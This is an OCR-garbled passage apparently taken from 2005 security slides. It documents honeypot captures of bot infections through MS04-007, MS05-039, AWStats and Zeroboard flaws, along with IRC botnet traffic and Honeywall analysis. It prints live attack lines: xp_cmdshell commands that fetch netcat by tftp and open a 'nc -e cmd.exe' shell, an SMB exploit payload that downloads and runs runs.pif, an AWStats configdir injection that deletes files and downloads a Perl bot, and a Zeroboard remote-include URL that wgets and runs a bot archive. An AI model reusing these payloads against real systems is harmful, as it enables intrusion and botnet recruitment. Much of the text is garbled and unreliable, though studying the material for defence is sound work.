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mWeb
MJPCERT
http://www.|pcert.or.ip/

W|SSKK
http.//www.isskk.co.jp/
MI[TPro
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master..xp_cmdshell

2005-BB-CC**sxx

xp_cmdshell "ipconfig -all"--

2005-BB-CCH*****xx

Xp_cmdshell "tftp —i *** *** *** *** get nc.exe"--

2005-BB-CC**sxx

Xp_cmdshell "nc —e cmd.exe 7% ¥ F&k *xx 7878"——

2005-BB-CC**ssx

Xp_cmdshell "nc —e cmd.exe **%* F** *** xxx 7878"— -

2005-BB-CC**sxx

Xp_cmdshell "tftp —i % F3** *x* *** get wget.exe"—-

2005-BB-CC**sx

xp_cmdshell 'dir nc.exe’;

2005-BB-CCx**xx

xp_cmdshell "ipconfig -all"--

2005-BB-CCH*******

Xxp_cmdshell "net user"--

2005-BB- (x>

Xp cmdshell "net user"--
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IRC (Internet Relay Chat)

8080
IRC

plug and play Windows 2000
CNN ABC
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MSO4-007

|

Microsoft Windows ASN.1

(MS04-007)
ASN.1 Internet Explorer
IS NTLMv2 Kerberos ISAKMP LDAP Exchange

- (MS04-007 )

Windows 2000:

Windows XP:

Windows NT: 4.0
Windows Server 2003;

-
MS04-007
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MSO4-007

IRC
> ***main.com 4

STATUS: da is an IRC administrator channel #x2 Topic for #x2 :Scanning: -.03.192.168.0.0:445..

/ ***211.59.6 \ ***18.169.158

IRC

192.168.37.150
IRC f / \
HERDER
IRC
***192.35.209 o s
= bot *oxk 142 23446 sl
NetBIOS (139/tcp)SMB (445/tcp) HTTP(80/tcp)
TFTP
IRC
IRC
HERDER DoS
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MSO4-007

Source IP Target IP
2005-09-19 18:17:01 JST | MS04-007 | ***192.35.209 192.168.37.150 2720 139
2005-09-19 18:17:02 JST | TFTP 192.168.37.150 s 19235209 1066 69 runs.pif(bot )
2005-09-19 18:38:24 JST | IRC 192.168.37.150 >k 58 72.41 1069 6667
2005-09-19 18:38:51 JST | HTTP 192.168.37.150 sk A3k 106,173 1076 80 luxor.exe( )
2005-09-19 18:38:51 JST | HTTP 192.168.37.150 sk 142 234.46 1077 80 dsonic.exe(
2005-09-19 18:52:04 JST | IRC 192.168.37.150 *xx 18160.158 1085 1023
2005-09-19 18:52:06 JST | IRC 192.168.37.150 *%x 18.169.158 1085 1023 Scanning: -

03.192.168.0.0:445.,

2005-09-19 18:59:46 JST | IRC 192.168.37.150 sk 47,254,215 4494 5555
2005-09-19 19:03:39 JST | IRC 192.168.37.150 sk D5 22 251 1690 1023
2005-09-19 19:03:41 JST | IRC 192.168.37.150 sk D5 22 251 1690 1023
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MSO4-007

Port445,139

...D CKFDENECFDEFFCFGEFFCCACACACACACA. CACACACACACACACACACACACACACACAAA.

SMBr....S.. 7....0b.PC NETWORK PROGRAM 1.0..LANMAN1.0..Windows for Workgroups 3.1a..LM1.2X002..LANMAN2.1..NT LM 0.12.
LUSMBr...S.en T 2. A foto....eF...
SMBS.....ccovveniiinnns A

....... ~ren™ nZo e N0 LD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #.W...
.B.B.BB.T...F..E<|X..0._..l4.1..t.

e THUL B K ¥$.1.d.@0.x.@..p..h.....@4....h<_1.'V.

h.. h..W....cmd Zc tftp —i ***,192.35.209 GET runs.pif&start
runs.pif&exit.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBEB

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
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MSO4-007

=
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B |j-'| "Windows 2000 Q fhria

Built an NT Technalogy ey AT 000040
#H’v-ﬂ

"Dx77c9dds” (S 0x000006e3" MAEUESBELE LR, 3 ik ~1n‘m.| ? qz
EH “read” (hBCEH TR AT LI, ’ . ] S
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MSO4-007

LsaSrv

ID: 5000
2005709725
14:28:35
N/A

Negotiate

0000: 05 00 00 cO 00 00 00 00 ..A....
0008: 00 00 00 00 63 ¢c6 fc 77 ...cAuw
0010: 02 00 00 00 01 00 00 00 ........
0018: 90 90 90 90 3f 00 01 00 ?7???72..
0020: 00 00 00 00 00 00 00 00 ........
0028: 00 00 00 00 00 00 00 00 ........
0030: 00 00 00 00 00 00 00 00 ........
0038: 7f 02 ff ff 00 00 ff ff  .yy.yy

0040: ff ff ff ff 00 00 00 00 yyyy....

0048: 00 00 00 00 00 00 00 00 ...
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MSO4-007

IRC

2005-09-19 18:38:24 Created
2005-09-19 18:38:24 *** hotgirls has joined channel #hotgirls
2005-09-19 18:38:24 *** Topic for #hotgirls : * ipscan s.s.s.s dcom2 -s ][ * wormride -s -t ]
[ *download http://***.71.106.173/luxor.exe C:¥luxor.exe -s -e ]
[ *download http://www.***** net/dsonic.exe c:¥dsonic.exe —-e -s
2005-09-19 18:38:24 *** #hotgirls = _hotgirls
2005-09-19 18:38:24 *** Mode #hotgirls = +smntSMCu
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MSO4-007

IRC Port1023
IRC

( B
PASS * <
NICK PIN-904573268 L

:‘PIN-904573268 MODE PIN-904573268 :+iwxG

MODE PIN-904573268 +x

JOIN #chimera asdrubale

USERHOST PIN-904573268

MODE PIN-904573268 +x

JOIN #chimera asdrubale

USERHOST PIN-904573268

MODE PIN-904573268 +x

JOIN #chimera asdrubale

:PIN-904573268!bxhigndmh@***.net.or.jp JOIN :#chimera4

:Sprite.Cola.Net 332 PIN-904573268 #chimera4 :Scanning: —.03.192.168.0.0:445..
:Sprite.Cola.Net 333 PIN-904573268 #chimerad Sf3R4 1121852341
:Sprite.Cola.Net 353 PIN-904573268 @ #chimera4 :PIN-904573268 ~Sf3R4 ~Jo|y
:Sprite.Cola.Net 366 PIN-904573268 #chimera4 :End of /NAMES list.
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AWStats
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AWStats

-
AWStats configdir function command execution (HTTP_AWStats_ConfigDir Exec)
AWStats HTTP GET
|
Windows: 95 0S/2: DG/UX: Windows NT: 4.0 Windows: 98 Novell NetWare:
SCO Unix: BSD: HP-UX: IRIX: Solaris: Linux:
Windows 2000: Windows: 98 Second Edition Windows: Me Cisco IOS: Windows:
XP Debian Linux: 3.0 Compaq Tru64 UNIX: AIX: Mac OS: Windows 2003:
AWStats: 5.7 6.2
|
AWStats Web FTP AWStats 5762
searchdir
configdir
|
AWStats Web AWStats (6.3 )
Debian GNU/Linux 3.0 (woody) : Debian Security Advisory DSA-682-1 awstats (4.0-0.woody.2

)
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AWStats

AWStats ver6.2

K

fwitats exploit by Thunder, molnar_rcs@vahoo. com

This exploit makes use of the remote command execution bug discovered in

fwStats ver B.2 and below. The bug resides in the awstats.pl perl script.
The script does not sanitise correctly the user input for the

“configdir’ parameter. If the users sends a command prefixed and postfixed
with | . the command will be executed. An example would be:

Let’s execute "fusrfbindw’:
>
http://localhost/czi-binfawstats.pl?conf igdiE’=x20 |20 usr/binfwi20 220 ]
4

fwstat output:
>
Error: LozFile parameter is not defined in config/domain file

Check confiz file, permissions and AWStats documentation {in "docs’ directory).

<
That™s it. Our command was executed.
This bug is fixed in AwStats ver B.3 and a patch was released for all versions, but vulnerable

AwStat is still available for download on several sites {ex. www.topshareware.com).

Type “zcoc awexpl.c - o awexpl® to compile the exploit and . fawexpl -u for usaze.

Mote:
Just indexing the commands with | will not always work, or might not work at all. I checked
it on my own awstats 6.0 install, and it failed. So, whoever tried the same on his own

script and was surprized to see that (although the wversion he uszes iz zaid to be prone to the
remote command execution bug) nothing happened, should patch or upgrade to dwstat 6.3 asap.
4z far as | know all unpached versions prior to B.3 are vulnerable and commands prefixed and
postfixed by a | character WILL be executed. Beware!

configdir

P [= 5]

Eie Edit Yiew Wedow Hel
HSh 0 BB & 20 % &8

&) Quick Conneet | Profiles

Setup (7 | fusr/binfw | Jawstats.localhost.conf’ file, web server or permissions) may be wrong.

[Enocdlimnm imald 1a =]
l.htel %.himl DATE. Tip TEST.DOC  config.c&che sebek-linux-2.1.7.0ar .2
Z2.htal &.htal HE an . a.htal config. log

3.heml T.hrsl PF_B.0.2 L

Achtal  CISOO_VPH_Client =LMJ.Z7.0 aveEpl.€ RB.C

[coatflinu iaald . fasexpl -u

¥ A¥3tacy exploic by Thunder, moloar_rcsfyahboo. com

¥ Usage: . Sawexpl <b <heoats =i <ipt [=8 Sceipt] [=p Path) [=o Poct] [=¢ Commands] [=u]
b ¢ carger hoat mase, defaulr i3 loealhoar”
=1 © target IF (€0 wich host pame resolvs)
=% : smeripe name, defsule iz “awatats.pl’

p ¢ scripe pach, defsule iz “Jegi-bin’
-9 : Epecify POTt EO CORNACT To, default is 0D
& : apreify commanda Eo be executed, the exploit will eceate a
File named "OWNED " in “J/tap” by default
=W i usage
¥ Exasple: . /awexpl -b localhost -1 0.1
i : . fmwsxpl =h localhoat =i 0.0.1 =p f-usecfegi-bin
¥ ' Seawexpl =B Llogalhost -1 127.0.0.1 -p

[cootBling: 1s8]F . awexpl -1 192, 160.221.6 -p F-usersogi-bin -¢ " usp/binsid"
§ Fleases specify both hoat “=B° amd ip "=1°

(CootBlinio: 1s8)F .fawexpl -h 183 -1 192,060 221.6 -p J-user/ogi-bin -¢ ~Masc/binsid”
¥ AW3tacs Exploit by Thunder, acloar rcsyaboo. com

¥ Cemmecring To i:a (0923, 168, 231.8) ., .Donet

# Dailding header. . Done!

¥ Tending data. .. Done!

¥ Explodc findahed.

(cootBlings izale I

INTERNET SECURITY SYSTEMS®
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AWStats

AWStats

configdir=|echo ;cd /tmp;rm —rf *;curl -0 http://www.

a.pl
perl bot

AWStats
(@ INTERNET |SECURITY | SYSTEMS'
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/h4x000r/a.pl;perl a.pliecho ;rm —rf a.pl*;echo|

Bot

F: VIM —<ocuments and Settines¥admin¥y 25 k= ?%apl
ZFIE REE WD e DsEoW AT

ARRE 9@ BLheaah 334 TEY

k! Ausr/bindper] ﬂ
i
It Shel IBAT - hackbox

it

i 010 If - baidtzasu@yahoo.com
b - v atriz-team.org

B - wew.atrix.clb.net

it

i

my BYERSEO0 = "0.27;

BSIGLINTT = "IGNORE’;
BSIGIHUP’T = "IGNORE";
BSIGITERM’} = " IGNORE':
BSIGI'CHLD’} = " IGNORE':

$SIGI'PS'Y = T IGNCORE:

use 10::Socket;

use Socket;

use 10::3elect;

chdir(”/7);

bservidor="FARGV[OI™ if $ARGVLDI:

$0="3processo”. "¥0"x16;;

iy $pid=forks

exit if $oid:

die "Problema com o fork: 317 unless def ined($eid);




AWStats

'\<? 9\ ’\9 \‘L\'

PGP A S
OO O R AP\ LN WP\ M\ S\ S
'w,@% "1969 '19& (1950 ’1969 QQ(O\ QQ(O\ @(o\ @%\ @%\ Q%\
Vv Vv Vv Vv Vv Vv ( )ISS
AWStats Bot
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AWStats

i 7 21

40%
10%

EO0O O EREOOCNDO

( )Iss

16%
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Zeroboard

ey

s/Ee NEs 2HTE ZRILICEH

HEHEH Het O 2 -BE= 0 20F k=2 2ILICH SEstH BEHE stAM B2 22 MB Z3H S,

- HY MH= Ol "HE2 BS HE EE AADH HOTH8

-BY A4S AA AL A= B84 A S ANEE 48 A0 SUL

-B8 A= 2572 208 SSHHM I SELICE HE 120 HAIGHIE LH22 1520 OHA HAIGHE 4+ ML
* JZLHLEBIEY 222 S5 S SS H2ts 22 2240 HMSH el d NZEOH M S ALK B2, shE 2 HNHA
Hog S202 BEE 536 B Epl=2is W o2 §H |

HAMZEZ|E O E

Category : | Categ

rotice  [RIHOIE] B8 =2 205 83 NAZT .. (1] & Eccen
Motice  SRN0 SEM B ZOIGHY 81 (HE2004/03/1,., [28] 2 Eccen 4
a0 2EHE [HEAE] IUMH B0ORR (00K =IEOH ETF N#H S N DA™

258 SEHE  [FHEZASIZHOR ZESSIHE 250M500M, 2N, Ad 28 M= HEFAE

zi58 SaiE  [OHI0EESHN00I0EESHM SEXNES SEILL. Ay 28 = imiso

2157 SEHE [HRFYISHASSOME/00M 2100 HEE/DB,, Ad Bg s Tdl OFA M
2156 B2 HE [HAEZAEIEsT AR OMERN =] L Ad B M= BestHost

2155 2EHE  [HH2] 2EHE LisH ZELICK AH - Bg M= [webice]

2154 2EHE [LIEH) 23008 SH~ S2/LH S HEL MBI A P& s LIZ#
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Zeroboard

L]
Zeroboard

N
ZeroBoard

PHP File
Inclusion Flaw PHP include()
register globals  OFF
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Zeroboard

MZeroboard error.php
‘dir’

The 'error.php’ script does not properly validate user-supplied input in the 'dir' parameter. A remote user can supply a
specially crafted URL to cause arbitrary PHP code from a remote location to be included and executed on the target
system. The PHP code, including operating system commands, will run with the privileges of the target web service.

http://[target]/zeroboard/skin/zero_vote/error.php?dir=http://[attacker]

Aleks is credited with discovering this flaw.
The original advisory is available at:

http://lwww.optik4lab.com/modules/news/article.php?storyid=13

http://www.securitytracker.com/alerts/2005/Jan/1012812.html

< http://www.securitytracker.com/alerts/2005/Jan/1012812 html
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Zeroboard

L]
Zeroboard

/bbs/skin/zero_vote/error.php?dir=http:// .com/zamelmania/fhi.gif?&cmd=cd%20/tmp;wget%20http:/ /www.
.com/bbs/qgmail.tgz;GET%20http://www. .com/bbs/gmail.tgz%20>%20qgmail.tgz;curl%20-0%20http://www.
.com/bbs/qgmail.tgz;tar%20-xzvf%20qmail.tgz;cd%20gmail;./s

HTTP gmail.tgz
bot

ETEIWinZip {Evaluation Version) — gmail.tar

Eil=  Actions  Options  Help
e e - i Fe 1Akl { & o A
e oo e
Cpen Favorites Extract Wiew CheckOut ‘Wizard
Tvpe Modified Size | Ratio| Packed  Path
File 20040816 19:.. 34 0% 34 gmail¥
= randpickupe E 271 2001 /04402 2:26 2495 0% 2495  qmail¥randfiles
randziznoff.e E 274 2001 /0402 326 3661 0% 3651 gmail¥randfilecs
randkicks.s E 7710 2001/04/02 326 a30 0% 320 gmail¥randfiles
randsay.e E 71l 2001./04/02 326 55,316 0% 65316 qmail¥randfiles¥
randinzult.e E 7710 2001,/04./02 326 3082 0% 3922 qmail¥randfilesy
'I.users USERS J74JI  2005/09./08 11:.. 173 0% 173 qmail¥
@ start File 200412430 22:.. &1 0% 61  gmail¥
2.users USERS J74JI  2005/09/08 11:.. 173 0% 173 qmail¥
mechzet SET 29Il 2005/09/08 216 3858 0% 3988 gmail¥
|ﬁ| qmail-repawn File 2005/09/08 11... 472230 0% 472230 gmail¥
3.users USERS Z7-1Jl  2006/09.08 11:. 173 0% 173 qmailé
Selected 0 files, 0 bytes Total 12 files. 531KB (= 18]
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—— —s— Target
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2005 8 15

®mITPro MS05-039

Eng_dowsﬂ)ﬁggﬁfé%‘(ﬁ?ﬁ'jhhlliiﬁ, Fob(JEEd 72 TR 20osFsRsH
393

ATV T BRI B HEE HGE (PA) , RUS-CERTAX (2R 158, sA108 ZaFREN:
Windows 232 )7 mh—)| (BREEI) F 20l v REE LI F 20 — L (DA LA DHEIRL T vak
LGEEEFEGIIT ., TF )T —ILATEE T &Windows=< 2 /03, Fob(JBRT 2107
BT LINAES, R, o0y AR TORIEER e F R ER T ACE, T T
Fd =L TARE R —E LS TE B EETHS,

D —LORhN TS tF T m—)LE, sAOBAzF aUFAFRO —2ELTARFRSN
1217545 7R FLA GEESEMEZ LY, VE—Ta—FhiEfTdN, fHenaRhiThahng
(809588) (MS05-0300] . WindowshMBZ 2755 7r JL 1ot —E B D -ty w7
A=t i —o0—@EFa )7 =)L THS BERE) TS o T —SE R Ea el £
BEO7OJZLEEFINGCY, EROSEEHFLIVT L, &N FEIEIRECES .,

D s05-030 ) [ IfERE i TF 1 )F ¢ R — )L THAI- 0, SRS SERSN AN S
LS T, B, SRERICIITEF T roh— L EZE IO S L O - B R — e
LETAFEN, Us-CERTGE (IREFE A 128 (IDFEEETMF T, FLTS0E, TFallF
AR =L EENTE NIRRT LI FL D055 L (D — L) HiTESIEnT -,

RPN TL 80 — LI Zotoh) EIE( I TS, =720V T, i FFER D
Windows 200072 (TRIRREYT 20 LTLVE, —7, Windows 2000721 3T 75\Windows XPESEA T
IFZEL TN — DR D, ASANS Institute T13, REREEIS A 14HEES TOIERRNL
T, Windows XP P28 LT MWindows 2003 3EBERLAINCEDESIE N TL &L TIva,

Zotobld, TCPR —t445 B3 Z T EFa T —)LF 2270 F 3 LAEV AL, CoJn i3l
OEITICEIY T EE, TO7055 LRI Zoteh ERBIL T 22 05, Zotob R IEEFTPT
Hon—FLTEITT 2,

< http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050815/166378/>
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MSO5-039

Windows DCE-RPC Windows
Windows
2000 NULL
m (MS05-039 )
Windows 2000 SP4 ( )
Windows XP SP2 ( )
Windows Server 2003 SP1 ( )
L
MS05-039
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USO5-039

200573/ 2005/74/13 20057879
Microsoft Virtual Patch
X-Force R&D XPU 24.4
Neel Mehta
¢ ¢ ¢ @
8711 8712 8/14 8/17
MS Frsirt Metasploit Zotob-E
Exploit  Bxplott 2% Yo Rbot CBQ
2005/8/9 | Microsoft MS05-39
Mcafee
Symantec
Bot
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N
100[
90
80
60 |- —+—MS03-026 (Blaster)
50 | MS02-061(Slammer)
i —e— MS05-039(PlugAndPlay)
40 —%— MS04-011(Sasser)
30 © ——
20
10
0
© A NS &) Q DS v
NS CERRS LS LS LN L C )iss
¢ ¢ & ¢ & & &
P PP P P
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(@ INTERNET | SECURITY IS*.‘S_TEL-iﬁ' _
Managed Security Services

eFalT=a-2 G O—s5LIDSTHEUT ARUuy
» Soldiers In Irag Motified Of
Poszible [dentity Theft e b

# Visedelnys plarita.citties Attack Metrics for the last 30 days by Day and Attack Type (GMT)
with CardSystems 700000

» Unattended PCs a menace,
says Gartner

600000 — | ; L]

500000 — f R
'?J A/FJ 'fJL’R . !
S — 400000 — P r) ..
» Tropinterl v-D - .‘.. -‘ =
» WIZiCodhat-LB 300000 — it e e T B

; m-a
» TROJ ROOTHIT.S 200000 —&

o W L 4 ¥ P '-:'-; -
Rt 100000 _% Ay i # A LAl ] AN

' «- == .
» Wulti Thett Auto command 40 0 | T T T e e e e e B e S LB B s e
bypass security 08-31 0Q©-02 09- 04 09-06 09- DS 0g- ‘Iﬂ 089-12° 08-14 08-16 09-18 09-20 09-22 09-24 09-26 08-28

» Multi Thett Auto endless loop —— Emtf:clnlfSig naturs - 8- Sret:xﬂick Probs —&— Unauthorized Access Attem pt +  Backdoor
¥ anial of Service - Metwor

W
—v
T T

causes denial of service

Ealstranaft S Fhendsmiids |CH ck on the charts below to see the expanded view.
parameter could allow: file
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)

Sensor Details for 168035906

The Honeynet Walleye: Honeywall Web JEEUETECE 168035906 Sensor Mame:
| j : . Install Date: Sat Jul 2 16:42:21 2005 Last Update:
. . : State: online F TOP25
Data Analysis System Admin Logout Country: ap Tirmezane! e
Latitude: 34 Langitude: 33
Metwork Type: corm
Motes:
Created: SatJul 2 16:42:21 2005 Last Update: Tue Local Top 25 Rermote Top 25
Sep 27 08:42:50 2005 " "
Flags Host Connections  IDS events  Host Connections  IDS ewvents
g o3 = a3 192.168,27.130 12321 L 31 331833 2143 2057
con ids  com ids  conm ids  con ids BT 117 95 912 436
1hour 72 52 1 o} 212 172 40 24 0c,:nu JEHT =R 1 LH1 21.18%.38 I1e 334
4% hour 6220 4780 763 33 118605353 561724 966 [JKBytes Teanstered EENALD Alerts 129.137.63 17g 138
3,154,104 186 136
Search (short term soln) 123.186.3 138 4z
Time Sep 27 2005 04:00:29 Sep 27 2005 05:00:29 a0 1z > e
start 1590 et End |Sep s 20,254,579 21 20
1P Proto AT = TOP25 20,999,156 20 19
Either 120,146,252 24 16
Prefix I Port ID d2001e1.129 20 14
Fource o |D— 20,6798 40 1z
o Prefix Port 120,152,154 25 7
Destination
prefix | Port | 142,243,749 16 7
Result Format IPCSP Fila j ,32,191. 20 g &
LZ200.243,182 g &
A32FFED g &
V371253106 g &
L45,238,105 =1 =1
L200.90, 84 & =1
120,677,153 1& 4
116,254,199 =1 4
AT %{E A20.144,109 =] 4
74,105,109 =] 4
o8.eE.78 =] 4
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Walleye:Honeywall Web Interface

— Action 2 |
Wiew! i S
" pabiled

Group By

Filtars — grc_ip
IAII Traffic|dst_ip
I pidire L
I_ Frorm
™ all Tirme Periods
™ sebek Tracked

DT EE

Agqgregated Flows: Between Tue Sep 27 03:00:25 2005 and Tue Sep 27 04:00:25 2005

[Fievaus Page)

Stail

Ena

[Nexl Page)

101

Aggregate Totals

Individual Flow Maxirmurnsz

per
&n rmon tue wed thu fri =gt
1 2 32
1 3 6 7 8 9 1d
11 12 13 14 15 16 13
12 19 20 21 22 2324
253 26 27 28 29 30
Cons s
255 240
izo2 1616
543 612
220 51
79 54
33 21
1s0 197
101 32
&7 27
91 47
24 23
] 41
54 iz
S0 iz
51 i3
7z 29
26 36
BT 23
39 13
I3 is
: 633 400
1:00 & 14
2 193220 Se3
I I

dst_ip Flows | #Alerts |SRC Ports|DST Ports| SRC pkts [SRC bytes| DST pkts [DST bytes| SRC pkts [SRC bytes| DST pkts [DST byte
192.162.27.150 |30 16 27 2 R z4z283 137 17706 1= SzE0 12 1529
221,131,110 13 3 1 374 39773 537 E94685 (27 2874 41 S4612
83,250 (14 7 14 1 125 9404 el 7865 10 981 7 747
251,136,567 |36 z 28 1 Se4 41393 a1z 1095530 [130 7148 Z4d 350363
127,332,209 |2 z 2 1 100 £7EE 147 168647 |45 ze0s 73 110534
202,208,194z z 1 1 A 140 0 i =z 140 ] i
.211.255.12 |4 z 1 1 A 140 ] i 1 70 ] i
.240,15.19 |2 1 3 1 115 EFEE 162 zzo9ge |31 4542 132 189918
mE0.149 |10 1 10 1 271 16366 458 sgEla0 |40 2303 75 100682
224,322 |3 1 z z H 156 1 201 L g6 1 z01
\5.251.204 |z 1 1 1 1 70 0 i 1 70 0 i
203,208,197z 1 1 1 1 70 ] i 1 70 ] i
.211.255.10 |2 1 1 1 1 70 ] i 1 70 ] i
.211.255.13 |2 1 1 1 1 70 ] i 1 70 ] i
23917287 |3 ] 3 1 262 15006 460 £E0432 |17z a9z 201 436492
97,250,193 |4 ] 4 1 147 5863 218 794211 [134 7954 208 293264
4320883 [L 0 1 1 193 1102z 305 214490  |193 1102z 305 214490
.102.154.161(3 ] 2 1 252 15723 415 Se5193 |59 3672 100 140903
ZEATEGE [L ] 1 1 £s 3667 a0 126532 |65 3667 a0 126532
102,154, 14721 ] 21 1 EEE 34299 101z 1391649 (37 z19z 73 22581
(154.40.228 L ] 1 1 220 17144 443 29883 220 17144 443 29883
127.33.119 |5 ] 5 1 35 2975 40 30292 13 524 2z 27072
im1gd 2zl L ] 1 1 11 694 13 14454 11 694 13 14484
1413786 [L 0 1 1 7 12239 7 7425 7 1229 7 7425
az.114.141 [F ] 7 1 44 16318 44 3934 10 £9z39 10 1229
1413751 L ] 1 1 E 1098 ] 3941 & 1096 ] 3941
168.37.255 |8 ] z z 4& £753 ] i 24 zz08 ] i
221,134,585 [L ] 1 1 3 1088 3 790 3 1088 3 790
1,137,669 |3 ] 3 1 15 1828 El 3729 5 615 3 1250
\255,255. 25511 0 1 1 4 1180 ] i 4 1180 0 i
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00:00:47

0kB 9
phkts --=
oF unkn <--0 kB
0 phis

227.1098.126
[

Dretailz for this Aow

Snort
Snort

Packaet Decoda
Rule Evaluation

Flow Examination

[Pigvinez Page) Sl . . . . . v » C . . . . Era [Nexl Pega} ir

Timestamp I Priority Classification I Type I Narme Revigion Generator Re
Septermbar 27th 06:06:20 2 Potantially Bad Traffic TFTE Gat 3 rales_subsystamn
September 27th 0610821 2 Potentially Bad Traffic TFTP Gat e rules_subsystermn
September 27th 06106123 2 Poterntially Bad Traffic TFTP Get 3 rules_subsystemn
September 27th 06:06:27 2 Patentially Bad Traffic TFTP Get 3 rules_subsystemn
September 27th 06:06:33 2 Patentially Bad Traffic TFTP Gat 3 rules_subsystem
Septembear 27th 06:06:43 2 Potentially Bad Traffic TFTE Get 3 rules_subsystemn
Septermbear 27th 06:08:51 2 Potentially Bad Traffic TETE Get 3 rulas_subsystem
September 27th 06106159 2 Potentially Bad Traffic TFTP Get 3 rules_subsystern
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E pcap

Ethereal

% Snort

&y SSH

[a:-
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Walleye:Honeywall Web Interface

Follow

Stream Content

P stream

EEX

LUSER. xteu teu
NICK MKRETrRY

FMKRKTrRY MODE

JOIN #b

thub.35266. Com
thub. 25266, com
thub.35266. com
thub.35266. com
thub.252 668, Com
ODE #b +5mAtu
thub. 25266, com

HLeu

MR K

ODE MERKTrRY +=1

USERHOST mKREKTrRw
IMKRKTrRV I CeuaTo7 8241

2322
332
353
366
202

482

FIMNG :hub.352&6.cCom
FOMG :hub.35266. com
FING :hub.252&&8. Com
FONG :hub.3526&8. Com
FPIMNG :hub.252&6.com
FOMG :hub.35266. com
FIMNG :hub.352&6.cCom
FONG :hub.252&&8. Com
FING :hub.252&&8. Com
FONG :hub.3526&8. Com
FPIMNG :hub.252&6.com
FOMG :hub.35266. com
FIMNG :hub.352&6.cCom
FONG :hub.252&&8. Com
FING :hub.3526&8. Com
FOMG :hub.252&6. com
FIMNG :hub.352&6.cCom
FOMG :hub.35266. com
FING :hub.252&&8. Com
FONG :hub.3526&8. Com
FPIMNG :hub.252&6.com

PISS-004GCLAOMRT -

thub.35266. com 001 mKRKTrRW
thub.35266. com 005 mERKTrRW
thub.25266. Ccom 005 mMEKRKTrRW

TrRw 141

MERK TrRW
MERK TrRW
mKRK friw
mKRK Triw
MKRK TrRw

mERK TrRW

ix, MEKRKTHRV ! =teuaf07sz 41,
MAF KNOCZEK SAFELIST HCHN MARCHANWELS=10 MAXEBANS=E0 WICKLEW=30 TOPICLEN=307
WALLCHOFS WATCH=12% SILENCE=1% MODES=12 CHANTYFES=# PREFIx=(qgaohw]~Ld+

JOIN :#b
#b 1=EDerTod0vsSrhg7 1esSMGvalnx+RkKIMrivAas ATIWQkS +Z24GF01 5Gx DgWIE gmo E J'hiel=
#b W 1127265043
@ #b imKRKTrRW
#b :End of ANeAMES Tist.
IMKRKTrRV=+xTeudfoFsz 41,

#b ivou're not channel operator

FONG :hub.35266. com »
< >
[Save s | Entire conversation (1838 bytes) e | ASCH (O EBSDIC (O Hex Dump (O G Arrays (O Raw

I Filter out thiz stream l [ Cloze ]
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Walleye:Honeywall Web Interface

l% =+=4+=4+=+=4=4=+=+=+=4+=+=4=4=4+=+=+=4+=+=4+=4+=+=+=+=+=+=4 =+ =+ =+ =+ =4 =+ =4 =4 =4 =4+ =+

09/27-03:30:34.974065 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x83

192.168.37.150:1053 -> ***.28.176.66:80 TCP TTL:128 TOS:0x0 1D:10530 IpLen:20 DgmLen:117
DF

**XAP*F** Seq: OxA7E3D202 Ack: Ox8CE9EFCB Win: OxFAFO TcpLen: 20
47 45 54 20 2F 69 6D 61 67 65 73 2F 67 61 6C 6C GET /images/gall
65 72 79 5F 74 68 62 2F 74 72 61 63 6B 33 5F 74 ery_thb/track3_t
68 62 2E 6A 70 67 20 48 54 54 50 2F 31 2E 30 OD hb.jpg HTTP/1.0.
OA 48 6F 73 74 3A 20 77 77 77 2E 61 6C 6D 2E 73 .Host: www.alm.s
64 35 30 2E 62 63 2E 63 61 OD OA OD OA d50. ... ......

et St Sl Send S Sty Sty ety Senty Sendy Seny Sy Sty ety ety ety Sty Sy Sy Sty ety ety St Sl Sy Sy Sty ety ety et Sy Sendy Sty Sty Junty Junty Sunty 5
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Walleye:Honeywall Web Interface

(@ INTERNET

Host IP:
PID:
First:
Last:

Data Analysis

Cornrands:

The Honeynet

System Admin

Walleye: Honeywall Web

Interface

192,168.1.10
171z

Process Summary

Tue Jun 14 20:32:55 2003
wred Jun 15 10:32:100 2005

sshd

Wiew this process's connections:

Wiew all connections from this process tree:

